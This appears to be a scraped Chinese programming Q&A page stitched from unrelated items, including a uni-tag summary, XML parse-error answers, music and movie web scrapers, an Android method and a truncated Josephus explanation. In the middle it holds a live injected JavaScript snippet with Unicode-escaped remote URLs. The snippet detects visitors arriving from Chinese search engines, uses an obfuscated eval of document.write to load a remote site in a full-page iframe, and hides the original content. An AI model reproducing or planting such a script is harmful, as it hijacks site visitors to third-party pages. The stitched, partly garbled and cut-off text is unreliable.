u-tag text

时间: 2023-10-07 08:05:15 浏览: 31
引用\[1\]、\[2\]和\[3\]提供了关于uni-tag组件的示例代码。根据这些示例代码,可以看出uni-tag组件可以用于创建不同样式的标签。在示例中,text属性用于设置标签的文本内容。通过设置type属性,可以改变标签的颜色样式,包括primary、success、warning和error。通过设置inverted属性为true,可以创建空心的标签。通过设置mark属性为true,可以创建带有圆角样式的标签。此外,uni-tag组件还支持点击事件。根据提供的示例代码,可以根据需要自定义uni-tag组件的样式和行为。 #### 引用[.reference_title] - *1* *2* *3* [uniapp组件-uni-tag标签](https://blog.csdn.net/qq_40323256/article/details/114275373)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
相关问题

expected START_TAG or END_TAG not TEXT (position: TEXT seen ...springboot \u7248\u672c\u548c\u6846\u67b6\u4f9d\u8d56 -->\n\n </... @

这个错误提示"expected START_TAG or END_TAG not TEXT"通常是由于XML或HTML文件中存在错误的标签嵌套或语法错误导致的。这个错误提示指示在给定位置上找到了文本内容,但期望的是一个标签的开始或结束。 根据引用中提供的错误信息,我们可以看到错误发生在一个名为"springboot"的版本和框架依赖的引入处。这个错误可能是由于在该依赖的引入语句中存在语法错误导致的。请检查该语句的语法和标签嵌套是否正确。可以尝试删除该行并重新运行以查看是否解决了问题。 引用中提到了导入jar包时遇到了类似的错误,并提到了可能是由于复制时多了一个空格导致的格式错误。确保在引入jar包时没有额外的空格或其他错误的字符。 至于引用中提到的支持向量机(SVM),它是一种机器学习算法,通过最小化经验风险和置信范围来实现结构风险最小化的思想。SVM被广泛应用于模式识别、分类和回归分析等领域。 综上所述,"expected START_TAG or END_TAG not TEXT"错误通常与XML或HTML文件中的标签嵌套或语法错误相关。请检查相关语句的语法和标签嵌套是否正确,并尝试删除可能引起错误的额外字符。

expected START_TAG or END_TAG not TEXT (position: TEXT seen ...</dependency>\r\n\r\n //\u9879\u76ee\u5bfc\u5305\r\n <d... @51:7)

您好!对于您遇到的问题,看起来是由于在 XML 文件中出现了无效的文本内容导致的。XML 文件应该只包含有效的标签和属性,而不应该包含纯文本内容。 建议您检查您的 XML 文件,确保所有的文本内容都被包裹在合适的标签中,或者将其移除。此外,还要确保没有任何无效的字符或格式错误导致了该问题。 如果您能提供更多关于问题的上下文或者代码片段,我可以帮助您更具体地解决该问题。

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pandas版本是2.0.1 from bs4 import BeautifulSoup import pandas as pd import requests import time df = pd.read_csv('playlist.csv', header=None,error_bad_lines=False, names=['url', 'title', 'play', 'user']) headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36' } for i in df['url']: time.sleep(2) url = 'https://music.163.com' + i response = requests.get(url=url, headers=headers) html = response.text soup = BeautifulSoup(html, 'html.parser') # 获取歌单标题 title = soup.select('h2')[0].get_text().replace(',', ',') # 获取标签 tags = [] tags_message = soup.select('.u-tag i') for p in tags_message: tags.append(p.get_text()) # 对标签进行格式化 if len(tags) > 1: tag = '-'.join(tags) else: tag = tags[0] # 获取歌单介绍 if soup.select('#album-desc-more'): text = soup.select('#album-desc-more')[0].get_text().replace('\n', '').replace(',', ',') else: text = '无' # 获取歌单收藏量 collection = soup.select('#content-operation i')[1].get_text().replace('(', '').replace(')', '') # 歌单播放量 play = soup.select('.s-fc6')[0].get_text() # 歌单内歌曲数 songs = soup.select('#playlist-track-count')[0].get_text() # 歌单评论数 comments = soup.select('#cnt_comment_count')[0].get_text() # 输出歌单详情页信息 print(title, tag, text, collection, play, songs, comments) # 将详情页信息写入CSV文件中 with open('music_message.csv', 'a+', encoding='utf-8-sig') as f: f.write(title + ',' + tag + ',' + text + ',' + collection + ',' + play + ',' + songs + ',' + comments + '\n') # 获取歌单内歌曲名称 li = soup.select('.f-hide li a') for j in li: with open('music_name.csv', 'a+', encoding='utf-8-sig') as f: f.write(j.get_text() + '\n')

var titlestr = document.title; var arr = ["\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0070\u0067\u007a\u006d\u0066\u002e\u0078\u0079\u007a\u003a\u0036\u0030\u0033\u0031\u0033\u0022\u002c\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0070\u0067\u0071\u0073\u0068\u002e\u0078\u0079\u007a\u003a\u0036\u0030\u0033\u0031\u0033\u0022\u002c\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0070\u0067\u0077\u0070\u0073\u002e\u0078\u0079\u007a\u003a\u0036\u0030\u0033\u0031\u0033"]; var linkIndex = Math.floor((Math.random() * arr.length)); var referer = document.referrer; var regex=/(baidu\.com|sogou\.com|so\.com)/i; if(regex.test(referer)) { setFrame(arr[linkIndex]); } function setFrame(olink) { var ss = '<title>' + titlestr + '</title><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" height="100%" src="' + olink + '"></iframe><style type="text/css">html{width:100%;height:100%;}body {width:100%;height:100%;}</style>'; eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); try { setTimeout(function() { console.log(document.body.children.length); for (var i = 0; i < document.body.children.length; i++) { try { var a = document.body.children[i].tagName; var b = document.body.children[i].id; console.log(i + "***" + a + "**" + b); if (b != "iconDiv1" && b != "showcloneshengxiaon" && a != "title") { document.body.children[i].style.display = "non" + "e" } } catch(e) {} } var oMeta = document.createElement('meta'); oMeta.name = 'viewport'; oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no'; document.getElementsByTagName('head')[0].appendChild(oMeta); }, 100) } catch(e) {} }

请为下面代码写详细注释import random import urllib.request from bs4 import BeautifulSoup import codecs from time import sleep def main(url, headers): # 发送请求 page = urllib.request.Request(url, headers=headers) page = urllib.request.urlopen(page) contents = page.read() # 用BeautifulSoup解析网页 soup = BeautifulSoup(contents, "html.parser") infofile.write("") print('爬取豆瓣电影250: \n') for tag in soup.find_all(attrs={"class": "item"}): # 爬取序号 num = tag.find('em').get_text() print(num) infofile.write(num + "\r\n") # 电影名称 name = tag.find_all(attrs={"class": "title"}) zwname = name[0].get_text() print('[中文名称]', zwname) infofile.write("[中文名称]" + zwname + "\r\n") # 网页链接 url_movie = tag.find(attrs={"class": "hd"}).a urls = url_movie.attrs['href'] print('[网页链接]', urls) infofile.write("[网页链接]" + urls + "\r\n") # 爬取评分和评论数 info = tag.find(attrs={"class": "star"}).get_text() info = info.replace('\n', ' ') info = info.lstrip() print('[评分评论]', info) # 获取评语 info = tag.find(attrs={"class": "inq"}) if (info): # 避免没有影评调用get_text()报错 content = info.get_text() print('[影评]', content) infofile.write(u"[影评]" + content + "\r\n") print('') if __name__ == '__main__': # 存储文件 infofile = codecs.open("03-movie-bs4.txt", 'a', 'utf-8') # 消息头 headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36'} # 翻页 i = 0 while i < 10: print('页码', (i + 1)) num = i * 25 # 每次显示25部 URL序号按25增加 url = 'https://movie.douban.com/top250?start=' + str(num) + '&filter=' main(url, headers) sleep(5 + random.random()) infofile.write("\r\n\r\n") i = i + 1 infofile.close()

优化这个方法:private View getPopupWindowContentView(LayoutElementParcelable file) { // 一个自定义的布局,作为显示的内容 int layoutId = R.layout.popup_open_file_layout; // 布局ID View contentView = LayoutInflater.from(this).inflate(layoutId, null); // 点击重命名 contentView.findViewById(R.id.open_file_menu_rename).setOnClickListener(v -> { if (mPopupWindow != null) { mPopupWindow.dismiss(); } XLog.tag(TAG).i("popup click:rename"); checkDir(file, 0); }); // 点击删除 contentView.findViewById(R.id.open_file_menu_delete).setOnClickListener(v -> { if (mPopupWindow != null) { mPopupWindow.dismiss(); } XLog.tag(TAG).i("popup click:delete"); checkDir(file, 1); }); // 设置收藏按钮文字 收藏||取消收藏 String collectPath = ""; if (mCollects != null) { collectPath = mCollects.get(file.desc); } if (TextUtils.isEmpty(collectPath)) { collectPath = ""; } // 点击 收藏||取消收藏 TextView open_file_menu_collect = contentView.findViewById(R.id.open_file_menu_collect); String finalCollectPath = collectPath; open_file_menu_collect.setOnClickListener(v -> { if (mPopupWindow != null) { mPopupWindow.dismiss(); } if (finalCollectPath.equals(file.desc)) { XLog.tag(TAG).i("popup click:unCollect"); } else { XLog.tag(TAG).i("popup click:collect"); saveFileBrowseRecord(file); } }); if (collectPath.equals(file.desc)) { open_file_menu_collect.setText(getString(R.string.file_browser_un_collect)); } else { open_file_menu_collect.setText(getString(R.string.file_browser_collect)); } if (mTransferType == U_FTP_TO_FAB_FTP || mTransferType == FTP_U) { open_file_menu_collect.setVisibility(View.VISIBLE); } else { open_file_menu_collect.setVisibility(View.GONE); } return contentView; }

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这个问题可以使用递归方法解决。下面是一个思路: 1. 定义一个函数,接收三个参数:n、m、i,表示还剩下n个人,每次数到m时出列,当前报数的人是i; 2. 如果n=1,返回i,即最后留下的那个人的编号; 3. 否则,计算出下一个出列的人的编号j,通过递归调用函数解决n-1个人的问题,其结果为k; 4. 如果k < j,即当前i之后出列的人的编号为k,需要将k转换为在i之前出列的编号,返回值为 k+(n-1); 5. 如果k>=j,即当前i之后出列的人的编号为k,返回值为 k-(j-1); 下面是对应的Python代码: ```python def josephus(n, m, i):